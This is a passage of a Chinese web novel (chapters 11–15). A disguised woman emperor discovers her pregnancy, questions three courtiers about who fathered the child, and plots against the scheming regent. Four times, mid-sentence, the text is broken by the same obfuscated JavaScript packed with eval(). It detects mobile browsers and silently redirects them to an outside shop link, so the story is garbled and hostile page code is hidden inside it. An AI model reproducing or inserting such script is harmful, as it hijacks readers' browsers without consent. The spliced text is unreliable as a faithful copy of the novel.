“沈相,少将军,言书监,几位若还有事要见陛下,便请先随我去偏厅等候。”如意将这几人请了出去。 支走那几个碍事的人后,江清“砰”一声将房门关上。 赵锦繁靠在软玉枕上,见江清神色严肃朝她走来,安慰她道:“你这是怎么了,偶尔吃坏肚子也很平常,不必如此忧心。” 江清叹道:“我那是骗他们的,您不是吃坏肚子。” 赵锦繁:? 江清平复了一下心情,深吸了一口气:“我对天起誓,现在告诉你的每一个字都千真万确,尽管这听上去不太可能也很荒谬,但这就是事实。” “陛下。”江清道,“您有了身孕。” 11. 第 11 章 “这便是您月信久久不至的原因,您已经怀孕一月有余。恶心想吐,头晕困乏那都是害喜的症状,您觉得小腹不适是因为胎气不稳。” 赵锦繁怔愣了一瞬,不可置信地一笑,想从江清眼中找到一丝玩笑的痕迹,可江清的眼神是从未有过的郑重。 她脑中回想起这段日子以来的种种不适症状,以及记忆中那个男人的身影,思绪纷乱如麻。 她张了张嘴想说些什么,但没说出口,随即陷入了长久的沉默。 江清明白赵锦繁的处境。 多年前,赵锦繁外祖蒙难被判有重罪,正逢她的母妃叶婕妤生产,为了救下外祖的性命,叶婕妤便对先帝谎称,自己生下了一个皇子。 先帝是个信奉多子多福,且极其看重男嗣之人。 看在九皇子出世的面子上,赦免了外祖的死罪,改判流刑。 当然除了这个最重要的原因之外,她的母妃还存了用“皇子”去搏一搏前程的心思。 为此,赵锦繁不得不从小女扮男装,混在皇子堆里。 她的皇兄皇弟们各有各的长处,不是家世显赫,便是母妃得宠,她一个也不占。 皇子们之间表面兄友弟恭,实则暗地里腥风血雨,为了储位,不择手段,互相倾轧。 为了能好好活下去,她学着去做一个不争不抢,不引人注目,不中用的草包。 二十年如一日,从未出过错漏。 这要是换个心性不够坚定,不够隐忍,不够机警的,怕是早死了十回都不止了。 如履薄冰过了十八载,好不容易等到能去封地就藩,远离京城是非。 结果一群皇子窝里斗,死的死,残的残,最后竟把她拉上了皇位。 这个皇位原本炙手可热,可眼下却成了烫手山芋。 赵氏早就不是从前民心所向,说一不二的赵氏了。到先帝继位时,赵氏已弊病丛生,积弱已久。 先帝庸庸碌碌,懦弱无能,作风奢靡,横征暴税。后来的储位之争,更是让原本动荡的江山雪上加霜。 最重要的是,西南信王野心勃勃,来势汹汹,一心欲夺帝位。 信王对她起杀心不是一天两天了,她登基为帝的第一天,信王就当着满朝文武的面自立为摄政王,让她当着赵氏列祖列宗的牌位,改口称其为仲父,不臣之心昭然若揭。 只待可趁之机,杀她取而代之。 朝中臣子人心四散。站在她对立面的,如丞相沈谏;不看好她的,如少将军楚昂;不理世事、袖手旁观的,如原大理寺卿言怀真。 这个帝位她本就坐得很不容易。 若在这种时候,被人发现肚子大了起来,只有死路一条。 这一点,江清觉得赵锦繁比她更清楚。 肚子里的孩子留不得,尽快处理是最优也最现实的选择。 但…… “这个孩子,您只能生下来。” 江清叹了口道:“我不知道这算不算您与这个孩子的缘分。” “年初那会儿如意来向我要过避子药,当时她没说这东西要来做什么,如今想来这药应当是给您用的。我给您的那一瓶是药性最烈的,那么多年以来从来没有失守过,这孩子是唯一的落网之鱼。” “这孩子也是命硬,您从那么高的马上摔下来,他竟还能稳稳当当留在您肚子里。” “还有最重要的一点。” “先前您从马上摔下来,虽说伤得不深,但出血不少,亏了气血,原本将养几个月便好了,只是……眼下您身体尚虚弱未完全康复如前,若是冒然在这个时候用引胎药,恐下红不止,危及性命。为今之计,只能在怀胎期间,好好补养气血,静等瓜熟蒂落。” 赵锦繁低头看向自己尚还平坦的小腹,抬手抚了抚。 这孩子就像是铁了心要认她做娘似的,在里头扎了根。 一切既已成定局,赵锦繁也没有功夫去纠结和拧巴,眼下最应该考虑的事,是如何瞒过朝中众人的眼睛把孩子平安生下来,以及这个孩子的将来该如何安排。 当然还有一个重要的问题。 身为她唯一密友的江清也顾不得这啊那啊的忌讳,直言道:“这孩子他不能是凭空生在您肚子里的吧?他总得有个爹吧……” 赵锦繁:“……”她记不得了。 江清:“您隐忍了那么多年,怎么就没把持住跟他……是那个男人给您下药了吗?” 赵锦繁:“……”倒也没有。 那些零散的记忆里,她的意识很清醒。那个男人也很清醒,不然也不会那么英挺有力。 她不是很清楚整件事情是在何种情境下发生的,不了解此事发生的前因后果。 但她不否认那个男人带给过她极致的愉悦。 至于那个男人到底是谁? 赵锦繁和江清彼此对望了一眼,同时想到了一个解开这个谜团的关键人物—— 如意。 如果说年初是如意替赵锦繁向江清拿的避子药,那么赵锦繁做过什么,如意显然是知情的。 赵锦繁赶忙将如意唤了进来,仔细询问了关于那天晚上的事。 如意刚吩咐完宫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477586|141942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们,给在偏厅等候的三位大人上完茶点,听见传召匆匆推门进了内室。 她看了眼躺在床上脸色苍白的赵锦繁,还有坐在一旁神色复杂的江御医,总觉得这屋里气氛怪怪的。 当赵锦繁用极其认真的口吻问她:“如意你好好想想,年初那晚我见过谁,做了什么?” 江清又特意强调:“就是你问我拿避子药的前一晚。” 如意意识到了这个问题的严重性,仔细回想了好一会儿,给了答复。 “那天晚上您应付了摄政王好半天,他走后您召见了言书监,从您书房出来之时,一向清冷自持的言书监,满脸通红,行迹诡异。” “紧接着您又把少将军唤了过来,不知您和他做了什么,少将军从您书房出来之时,满面春光。” “之后您还叫了丞相过来切磋琴技,不知弹的什么曲,弹得丞相汗水淋漓,气息紊乱。” 赵锦繁:“……”听上去实在有些复杂。 江清斜了赵锦繁一眼:“您夜里还挺忙的。” 赵锦繁真想不到自己精力如此旺盛,一晚上见过那么多人。 江清:“所以到底是哪一个?” 赵锦繁感到一阵头疼。 她对那个男人所有的记忆,全都是在做那种事的时候。 总不能这里每一个她都试一遍吧? 江清根据如意的描述,一一仔细分析。 “言书监守礼持重,清冷寡欲,平日里衣衫总扣得一丝不苟,看上去不像是会做出这种以下犯上之事的人。不过……” 赵锦繁:“不过什么?” 江清:“越是这样的男人,私底下越是如狼似虎,让人招架不住。” 赵锦繁:“……” 江清:“少将军高大挺拔,瞧瞧那宽阔的肩,有劲的腰,匀称的身姿,从军之人体力定然是极好的,定能让您满意。” 赵锦繁:“……” “至于那位沈相也很可疑。”江清用只有她和赵锦繁能听清的声音小声道,“我听闻他琴技烂得同牛屎一般,您能同他比拼什么琴技?” “似沈谏这般短短几年便能身居高位之人,心思深沉,见惯了官场上的风月之事,自然也懂各种各样取悦人的手段,说不定意外很讨您喜欢呢?” 赵锦繁:“……” 总之如无意外,孩子的父亲就是他们三人其中之一。 如意站在一旁,听见坐在偏厅那三人的名字,犹豫着开口问:“陛下,言书监,少将军以及沈相似乎都有事要找您,正在偏厅候着,您看要先召见谁?” 12. 第 12 章 江清也很好奇:“您打算先召谁?” 赵锦繁从床上起身,解下汗湿的里衣,换了身干净的便服,眼珠子微微一转,对如意说了个人名。 紫宸殿偏厅,灯火通明。 沈谏举着茶盏悠悠饮茶,时不时抬手用茶盖撇去浮起的茶沫,余光留意着内室的动静吗,看似一派风轻云淡。 言怀真脊背挺直,双手分别平放在两膝之上,静默端坐在一旁等候。 楚昂双手交叉抱胸,斜靠在椅背上,沉着脸,双目紧盯着房门紧闭的内室,时不时还回头瞥一眼言怀真,心头浮上一股躁意。 这都过去半个时辰了,怎么还没施完针?总不会出了什么问题吧? 正焦急,内室的门“嘎吱”一声掀开一条缝,如意从里头推门出来,走进偏厅,朝偏厅中几人略一施礼。 “劳几位久侯了,陛下已无碍。”如意微扫了眼三人,接着道,“奉陛下之命,请少将军先入内一见,还请其他二位大人稍后。” 楚昂自方才起一直紧蹙的眉头松了开来:“她要先见我?” “是。”如意道,“陛下说了,无论如何都要先见您。” “是吗?”楚昂强压下向上翘起的唇角,尽管用力遮掩了,但眼神里还是透着压抑不住的得意,尤其是在看向言怀真的时候。 沈谏轻抿了口茶,笑着摇了摇头。 他们这位陛下,可真是位妙人。 * 赵锦繁静坐在内室,看向一旁的江清:“你猜,一会儿进来的是谁?” 江清:“您不是召了楚昂吗?” 来的还能是别人不成? 门外,沉稳的脚步声由远及近,廊下幽暗灯光将来人修长的身影投射在雕花琉璃门上。 江清微愣,来的还真不是楚昂!来人的身影看上去比楚昂要清瘦些许 赵锦繁道:“方才楚昂来时马鞍旁挂了两坛酒,想是来找我饮酒的,不过眼下我身子不好,他必不会在此时再找我饮酒。” “他这人吧……有个臭毛病。干什么都要和别人比一比,我若先召见的是其他二位,他必然觉得我不够重视他,得记我的仇,记上好些日子。” “当然就算我召了他,他也不会来见。先前也不知我对他做了什么,似乎惹得他很是不快,依照他那别扭脾气,必要趁我非常想见他时,晾一晾我,才好解气。” “想必此刻他已经心情极为舒畅地离开了紫宸殿。” 江清不解:“那您还召他?” 赵锦繁道:“全当哄他了。” 江清:“……”您还挺宠他的。 赵锦繁:“反正一会儿进来的,必定会是那一位。” 江清:哪一位? “先前言怀真见我腹痛不止,好意送我回殿,知我无碍后,必不会多留。剩下的便只有那一位了,深夜前来,想必是有‘好’事寻我。” 话音刚落,便听门外传来如意的声音:“陛下,沈相求见。” 赵锦繁:“进。” 沈谏微整袍服,抬步迈进内室。 “臣沈谏参见陛下。” “免礼。”赵锦繁看向他,“不知沈卿深夜来访,所谓何事。” “臣有件极好的消息要告诉陛下。” “沈卿且说来听听。” 沈谏正欲开口,抬头瞥见江清站在一旁。 江清触到他投来的视线,忙躬身上前一步道:“御药局还有事忙,微臣先行告辞。” 话毕提起药箱就要走,却听身后沈谏对赵锦繁道:“陛下,可否请江御医暂且留步。” 赵锦繁:“怎么?” 沈谏自袖中取出一只小玉瓶,递给江清。 “这是献给陛下的补药,还请江御医先过目。” 江清接过瓶子,拔开瓶口的小木塞,倒出一粒棕红色的药丸,放在鼻尖仔细嗅了嗅。 “这是长命丸,是由百支以上的千年人参提炼而来,有补气益血之效,极是珍贵难寻,世所罕见。” 不过这药通常不是给正常人吃的,而是给濒死之人吊命用的。生命垂危之人用了这药,能延命七日。 这玉瓶里有三粒,算下来大约能让一个濒死之人多活二十日。 因此这药又有个别名叫“勿死太早”。 关于长命丸,赵锦繁知道的比她清楚。 因为这长命丸,正是赵锦繁的太太太爷爷,也就是大周朝的高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477587|141942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祖命人研制而成的。 听闻高祖花重金研制此药,是专门喂给自己濒死的宿敌,不许其就这么便宜地死了,而要留活口慢慢折磨。 殿内蓦然一静,江清察觉气氛有异,识趣地走人。 赵锦繁扯了扯嘴角:“如此珍贵的补药,不知沈卿从何而来?” 沈谏道:“回陛下,摄政王听闻陛下意外坠马,失血过多,甚为担忧,费劲心思为您寻来了此药。” “真是劳他老人家挂念了。”赵锦繁顿了顿,笑道,“沈卿说的好消息,该不会也同仲父有关吧?” 沈谏道:“正是。” “臣方才收到消息,摄政王此次出京万事顺遂,不出意外会比原定的时间更早回京。” 赵锦繁:“这真是天大的‘好’消息。” 沈谏:“哦,对了。” 赵锦繁:“沈卿还有何事?” 沈谏将藏在袖中的信取了出来:“这是摄政王特意托我转交给陛下的信,信里是他对您的殷切叮嘱,还请陛下过目。” 如意上前,收下沈谏手里的信。 “臣所要说的就是这些,陛下若无别的交代,臣先行告退。” “沈卿且慢。” “陛下还有何事?” 赵锦繁试探着问道:“年初那晚,朕同沈卿切磋了许久琴技,不知沈卿可否还记得,那晚……你我切磋的是哪几曲?” “切磋……琴技?” 沈谏微愣,默了许久后道:“过去许久,臣也有些不记得了。” “这样啊。”赵锦繁道,“没事了,你先退下吧。” 沈谏应了声是后,拱手行过一礼,转身离去,很快他的身影便消失在紫宸殿后堂内。 如意将沈谏交来的信,递给赵锦繁。 这是她自失忆以来,与她这位传闻中的仲父,第一次交锋。 赵锦繁透过烛光,凝视了这封信一会儿,心中猜测了几种信中最有可能会写内容。 只不过她万没有料到,取出信纸,上头只写了两个字—— 十七。 赵锦繁:“……” 这写的什么神秘数字? “十七”是什么意思? 13. 第 13 章 赵锦繁仔细琢磨信上写的“十七”究竟是什么意思。 隐约摸出了些门道。 前阵子信王离京前往千都山平叛。千都山位于云州以北,地势易守难攻。 方才沈谏言及,信王此次出京万事顺利。 他既如此说,代表着此刻信王已经平定叛军,只待做完收尾工作,即可回京。 算算日子,大约还需二十日左右,即可回到京城。 信王闻得她受了重伤,特意托沈谏送来了长命丸。 一颗长命丸可使濒死之人延长七日寿命,三粒正好是二十日左右。 长命丸又有别名“勿死太早”。 如果没猜错,信王是希望她能活到他归来的那一日。 那么这个信上的“十七”,极有可能是指他的归期。 赵锦繁:“……” 特意送药过来,非得让人等他回来了再死。这个信王是有替人收尸的癖好吗? 赵锦繁抬手摁在自己尚还平坦的小腹上。 如果问她,眼下对她而言最具威胁的人是谁,那么答案必定是信王。 等到信王回来,同在皇城,朝夕相见,她肚子渐大,对方未必察觉不出异样。 信王本就欲杀她取而代之。 这些年她装傻充愣,利用各派党争借力打力,她跟信王之间维持着微妙的平衡,日子总算还过得去。 倘若东窗事发,信王必不会放过她。 对于潜在的危险,她必需先下手为强,在它成为危险之前,将其灭之。 赵锦繁沉思片刻,目光落在书案上摊着的一封奏折上。 这封奏折上写的是云州暴雨,积水成灾,良田尽毁,山石滑坡,急需赈灾救急。 正所谓来而不往非礼也,仲父费尽心思送她“勿死太早”,她自当回他一份厚礼。 望他勿死太迟。 次日早朝,赵锦繁提及云州雨灾一事。 “云州忽逢灾祸,急需大批米粮赈灾,京城离云州路途遥远,若从京中调粮,需十日以上的日程,不如从云州以北的济州先调一批粮过去,走水路来回日程只需三日,如此以解燃眉之急。” “沈卿以为如何?”赵锦繁看向沈谏。 这条政令听上去没什么毛病,不过…… “从离云州更近的连州调粮过去,岂非更快?”沈谏问。 赵锦繁道:“连州与云州交接处常有山石滑坡,此线路虽快但险,不如从济州调粮稳妥。” 这么解释似乎也说得通。 小皇帝难得说了几句中用的话,保皇派众人连声附议:“陛下所言极是。” 沈谏没有理由阻止,便道:“便按陛下说的做吧。” 赵锦繁展眉一笑,在群臣声声“陛下圣明”中退朝。 回宫的路上,赵锦繁向福贵问起:“听闻你有位表兄是做制冰生意的?” 福贵回道:“是,陛下问这个做什么?” 赵锦繁敛眸:“我是想着,他手边应该有不少制冰用剩的硝石吧。” 福贵一愣。 陛下要这东西做什么? * 大朝会临近在即,宫中各司开始准备大朝会上所需的宝案、香案、乐器等。 地方各州府所派来参会的使者及各地即将参加科举的举子陆续到京。 是夜,宫中设宴款待远道而来的使者和举子。 麟德殿内,歌舞笙箫,觥筹交错。 赵锦繁的两位兄弟昭王和衍王,呆在宫中闲来无事,也来参宴。 六皇兄昭王一见到她,便问起:“上回为兄跟你提过的那件好事,你考虑得如何?” 赵锦繁坐在上首,朝他看去:“哦,皇兄是指前几天你送来的那几位美人吗?” 昭王笑道:“你年纪也不小了,后宫总得有个人不是?这几位美人都是为兄精心挑选,环肥燕瘦,保管有合你口味的,留在身边随便给个位分也好。” 赵锦繁“哎”了声:“皇兄送来的人,美目盼兮,巧笑倩兮,可惜啊朕对美人不敢兴趣,朕呐喜欢……” 说着她的目光朝坐在不远处的男人看去。 昭王随着她的目光望去,脸色一白。 他早听说自己这位九皇弟喜好男风,这几年风言风语传得愈发厉害,实在有碍赵氏子弟的颜面,这才动了送美人的心思。 一则绝了那些流言蜚语,二则留几个人在京中总有好处。 可没想到跟自己皇弟有染的人,竟然是……楚昂。 赵锦繁微微一笑。 她这位皇兄,从小到大最怵的就是楚昂,打又打不过,动又动不了,凡事碰到跟楚昂有关的事,他都只有闭嘴的份。 楚昂正举着小杯饮酒,其实他对这场宫宴并无兴趣,只不过这几晚闲着也是闲着,就顺道来凑个热闹,顺便…… 他装作不在意的样子朝上首瞥了眼,恰巧看见赵锦繁正看着他笑。 “……” 楚昂微红着脸,撇开头,轻哼了一声,心口怦然,平复了会儿,稍稍侧过头,用余光瞄向上首,却见赵锦繁的座位上空无一人。 “……” 人哪去了? * 赵锦繁顾及腹中的孩子,不便饮酒,加之害喜得厉害,胸口泛闷,便随意找了个借口离席,去花园透气。 春夜的风混着泥土和青草的芬芳,清冷月色在地上覆上一层淡银。 此处远离笙箫,格外安静。 假山后隐约传来争执声,在寂静春夜显得尤为突兀。 赵锦繁在其中听见了沈谏的声音,微微走近,只见假山前站着几位老者和一众举子。 看这位老者的衣着打扮,应该是来参加大朝会的某地使者。 沈谏正拱手朝其中一位老者作揖:“闻先生来京,学生未曾登门拜访,还请先生见谅。” 那位老者不屑地哼了声:“沈相这声先生,老夫受不起。” 沈谏仍恭敬道:“谏少时家贫,蒙先生不弃,悉心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477588|141942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教导方有今日成就,今日略备薄礼,还望先生笑纳。” 沈谏将手中木盒递到那位老者跟前。 那位老者原本脸上虽有不悦但还算克制,在看到沈谏递来的盒子后,眉宇间忽燃起滔天怒意,猛地挥手将盒子打落在地。 木盒在地上滚了一圈,装在里头的玉如意摔成了几瓣。 老者拂袖骂道:“这玉如意何止千金,也不知吸了多少民脂民膏在里头。老夫受不起,受不起啊!” 身旁另一位老者出言讥讽:“沈相怕是过惯了好日子,早不记得一两银子熬几个月的苦日子了。” 老者身后不知哪位举子出声:“先生一生清正,沈相何必用这种东西侮辱先生。” 另一名举子附议:“我等成就虽不如你,但也绝不是那等见利忘义的小人。” “先生一生心血,怎就教出了你这等……” 这句话没说完,不过赵锦繁自动在没说完的话后边,补了“不要脸的贪官污吏”几个字。 对于这些话,沈谏并未做任何反驳。 对面那几人见他不做声,也懒得再做纠缠,给了沈谏几个白眼,各自散去。 假山前复又恢复宁静。 沈谏叹了口气,出声道:“陛下还打算在假山后呆多久?” 赵锦繁:“……” “朕无意多听。”她难免有一丝尴尬。 沈谏淡然道:“臣明白。” 方才老者挥手打落盒子,木盒尖角处不小心砸在他右臂,那一下十分有力,在他右臂划了一道拇指长的口子,口子正自里往外渗着鲜血,不一会儿染红了一片他的衣衫。 沈谏无奈地看向赵锦繁:“臣这样子一会儿被别人人看到了恐怕不妥,可否厚颜向陛下借身衣裳换?” 赵锦繁道:“自是可以,你这伤口也该处理,且随朕来。” 沈谏随赵锦繁回了紫宸殿后堂,赵锦繁唤了御医过来替他包扎好伤口,又吩咐如意去尚衣局领了件合沈谏身的衣裳过来。 沈谏接过新衣,抬步走向屏风后。 “多谢陛下。” “你若真想多谢我,便少在朝堂之事上为难我。” 赵锦繁就着幽暗灯火望去,瞧见屏风上他解衣的影子。 挺拔流畅的身姿,滚动的喉结。 她细细回想着记忆中那个男人的一举一动,一一和眼前这个男人的身影比对。 屏风后传来沈谏的微笑声:“这……恐怕不行。” 赵锦繁:“呵呵。” 沈谏笑意更深:“您不觉得,那些乖巧的臣子,在您心中没有一个能像我这般有分量吗?” 赵锦繁驳他道:“那可未必。” 她顿了顿,扬声道:“言卿那样的,朕就很喜欢。” 话音刚落,忽听门外有些许响动。 门外如意声音里透着些许窘迫,清咳了几声:“咳咳……咳,陛下,言书监在门外恭候多时,有要事求见。” 赵锦繁:“……” 14. 第 14 章 言怀真站在门外,恰好听见那句“言卿那样的,朕就很喜欢”,眉眼低垂,微微抿唇,指尖轻颤。 暖阁内屏风后,沈谏慢条斯理地系着衣扣,语带歉疚,声音不高不低地开口:“劳言书监久侯了,臣……衣裳还没穿好。” 这话多少有那么点让人浮想联翩。 深夜寝宫,传闻中好男风的皇帝,以及没穿衣裳的臣子…… 赵锦繁:“……” * 楚昂在宴上没见赵锦繁回席,低头独自喝了几口闷酒,深觉无趣,离席去了外头散酒气。 正走在宫道上,碰巧见沈谏从紫宸殿出来。 沈谏看见迎面朝他走来的楚昂,笑问:“少将军这是打算去见陛下?” 楚昂蹙眉:“与你何干?” 沈谏道:“这自然与我无关,不过……” 他语调一顿,犹豫着开口:“眼下陛下正与言书监在一块,恐怕没空见您呢。” 楚昂:“又是他?” 沈谏状似无意地“哎”了声。 楚昂瞥他:“你叹什么气?” “我只是想起方才陛下说很喜欢言书监。”沈谏无奈道,“也对,世上又能有几个似言书监这般固守本心的良人,也难怪陛下如此欣赏他。” 楚昂:“说够了吗?说够了滚。” 沈谏朝楚昂微一拱手,行了个平辈的辞别礼,慢悠悠走了。 楚昂看了眼沈谏离去的背影,轻哼了声。 明知对方刻意挑拨,但想起那晚赵锦繁对他做的事说的话,心里忍不住涌上一股酸劲。 * 紫宸殿后堂,灯火幽暗。 沈谏离开后,言怀真缓步走进暖阁,躬身朝赵锦繁行了一礼。 赵锦繁请他免礼,问道:“不知言卿深夜到访,有何要事?” 言怀真道:“陛下可否请宫人们先行回避。” 赵锦繁朝如意使了个眼色,如意会意,领着身后几位宫人离开。 暖阁内只剩下言赵二人。 言怀真行事素来光明磊落,极少有这般需要回避他人的时候。 赵锦繁好奇地看向言怀真。 只见言怀真从衣袖里取出一张泛黄的纸,仔细看像是一张药方,上头写着几味药材的名字。 赵锦繁接过纸张:“这是?” 烛火昏黄,在言怀真身上渡了一层暖融的光。 他语调轻缓道:“微臣闻女子月信来到之时,常伴有腹痛。微臣这几日寻来了一张药方,此方是微臣家乡流传的一则良方,能很好地缓解腹痛。不过……虽是经千百人验证过的好方子,稳妥起见,陛下还是先请江御医过目为好。” 赵锦繁垂眸去看手上的方子,眼睛不知怎的泛起一股酸意。 原来他以为上次她腹痛是因为月信来了。 自她有记忆以来,从来也没人在意过这件事。 她记得自己头一回来月信,什么都不懂,哭着去找母妃。 母妃看着她被染红的裤管,眼里满是惊恐和恼怒,一遍遍地责问她,有没有被别人看见? 一点也没理睬她小声喊痛。 赵锦繁默了很久,抬头朝言怀真笑道:“多谢。” 言怀真是她现有记忆里,除了母妃和从小一起长大的如意福贵以及与她境遇相似的江清外,唯一知道她是女儿身的人。 能和她做出那种事的人,必然也知晓这个秘密。 他会是肚子里孩子的父亲吗? 赵锦繁抬头,望着他冷峻的眉眼:“言卿,你为何对我这样好?” 言怀真微愣,眸光幽深,隐匿着复杂的情绪,半晌回道:“为臣者,当事君以诚。” 他朝赵锦繁拱手行过一礼:“夜已深,微臣不便多留,先行告辞。” 赵锦繁道了声好,吩咐门外宫人送言怀真出殿。 言怀真的绯色官袍慢慢消失在浓深夜色之中。 夜里辗转难眠,赵锦繁又想起了一些关于那个神秘男人的片段。 当然还是在床幔深处。 很难想象那晚她究竟和这个男人渡过了怎样漫长的一段时光。 分不清到底是谁纠缠谁。 她像蔓藤一样缠绕在他身上,对方似乎是想克制的,但又情不自禁,到后来想让他停下却怎么也停不了了。 赵锦繁心头实在难解,那晚到底发生了什么,能让一向自诩清醒隐忍的自己和那个男人,在没有药的情况下如此失控? * 不过几日,春色渐浓,皇城冒出绿意,宫墙旁的柳树抽起新枝,暖风一拂,柳絮飞扬。 继各地藩王,地方各州府所派来参加大朝会的使者以及各地即将参加春闱的举子陆续到京后,京城又迎来了第一批周边国家派遣来京朝贡访问的使者。 京城长街之上,异国的马车在鲜花和欢迎声中,缓缓驶向皇城。 赵锦繁在皇城主殿含元殿接见来使。 最先来京的乌连使团。 乌连王携妻女抵达皇城门前,由鸿胪寺官员引着穿过门道,进入皇城,迈过三层高台,入含元殿内朝见。 这位乌连王身着本国胡服,头戴嵌宝石金饰,挂双耳坠,腰间挂着用贝母珠串起的璎珞,眉眼深邃,体格健壮威武,光是胳膊就有常人大腿那般粗,看着就不怎么好惹。 传闻自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477589|141942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他继位以来,南征北讨,连战连胜,气焰极其嚣张。曾放言要踏平我大周西南,不幸遇到了早年人在西南的信王,然后就没有然后了。 接见过后,赵锦繁连同几位重臣与乌连王在麟德殿饮宴。 乌连王对于此刻坐在上首的赵锦繁,态度平平,显然不怎么看不上,连杯酒也懒得敬。 倒是问起了老对手信王。 "那位今日怎么不在?" 那位…… 哦,就是早些年把他打得连头也不敢抬的那位啊。 赵锦繁笑道:“乌连王是问仲父?” 乌连王嗯了声。 那声“嗯”带着几分慵懒不屑,仿佛是在说,不然还能有谁,在坐的人里有谁值得他亲自过问? “仲父啊……”赵锦繁语调微顿,“他因故离京。” 恐怕回不来了。 * 京中春意盎然,暖阳当空。 千里之外的云州,乌云密布,阴雨连绵。 当地天色昏暗,水雾笼罩,几步开外连人影也看不清。 信王的一行人马,自千都山平叛归往京城,沿途路经云州。 官道上积攒着连日来的雨水,水位深处可及膝,水下道路泥泞不堪,马蹄子走上去,一整个陷在泥里,仿佛被吸盘吸住,半天拔不出来。 原本打算走官道回程的大部队不得不改变行进路线,由云州渡口走水路至济州。 连接云州与济州的宜水河,湖面宽广,水渠丰富,行船较为平稳。 济州不同于山地环绕的云州,多是平原,好行路。 因此从云州乘船绕一程路到济州,再从济州出发回京,与直接走从云州走官道回京差不了多少时日。 一行上千人浩浩荡荡朝云州渡口而去。 信王的侍从怀刃骑着马在前边探路,好不容易抵达渡口,看见眼前的场景,怔愣当场。 原本应该停满船只的渡口,眼下竟看不到一条行船。 他立刻上前询问当地人,弄清楚情况后,转身骑马回到队伍之中,下了马朝被簇拥在中心的那人走去。 “君上,水路恐怕行不通。” “哦?” 怀刃解释道:“渡口能载人的大船和官船全被拉去调粮了。还有些零星小船,不过看眼下这天色,雨且还有得下,坐小船渡河恐难抵风浪,太过危险。若要等官船和大船空闲下来,需好些时日。” 官道被淹,水路又因故行不通,他们的队伍几乎等于被困在了云州。 雨雾之中,看不清被他称作君上之人是何模样,只听他道:“谁下的调粮令?” 怀刃道:“是陛下。” 15. 第 15 章 入夜,赵锦繁与乌连王和先行到京的各国使团饮宴完回到紫宸殿。 福贵匆匆走进内殿书房。 赵锦繁屏退左右,低声问:“事情都办妥了吗?” 福贵点头应道:“硫磺、雄黄和硝石都按先前您吩咐的准备好了。” “那便好。”赵锦繁抬头望向无边夜色。 算算日子,信王应当已到了云州渡口。她的仲父大概还不知道,她精心为他准备了一份大礼。 夜色沉沉,殿顶飞檐在月光下折射出清冷幽光。 如意提着灯,走到书房雕花侧窗前,见里头还亮着蜡烛。 她轻推门进去,看赵锦繁坐在书案前,握着笔用端正小楷在黄纸上写着什么。 “夜深了,您还不去歇息吗?” 赵锦繁写字的手稍停片刻,抬头看向她:“抄完这则往生经便睡。” “往生经?”如意疑惑道,“可是先帝的忌日还未到,您抄这些做什么?” “回头烧给一位未见面的故人。愿他早日安息,快登极乐。”赵锦繁如是说道。 如意未再多问,给她留了春夜御寒的披风,轻手轻脚退出房门。 赵锦繁继续低头抄经。 烛火摇颤,恍惚间脑海又浮上那晚的记忆。 那个男人抱她在书案上摆弄,没过多久,书案上的纸张沾染了粘乎的水渍,纸张上的字晕成一团模糊的墨迹。 见此,那个男人非要让她睁开眼看清那团糊墨。 “你看,明明是你喜欢,这是证据。” 当然他不会满足于这点证据,以至于到最后,把最难以抹去的那点证据留在了她腹内。 赵锦繁揉了揉眉心,从回忆里醒神。 她抬手按住小腹。 这里从那天起就多了个小人在蓬勃萌芽。 也是奇怪,最近怎么总梦到那个男人。她越是想看清那个人的脸,眼前的一切越是模糊。 * 大朝会一切事宜都在有序进行中。 次日早朝后,薛太傅和几位保皇派的官员在紫宸殿同赵锦繁议事。 期间薛太傅提到:“臣方才得了消息,东瀛和北狄的使团昨日已入关,不日就要抵京。” 赵锦繁道:“朕听闻东瀛人擅机辩、好斗智,每回来我大周,都会出些刁钻的难题为难我大周。去岁他们来大周时,出的难题很是不简单呐。” 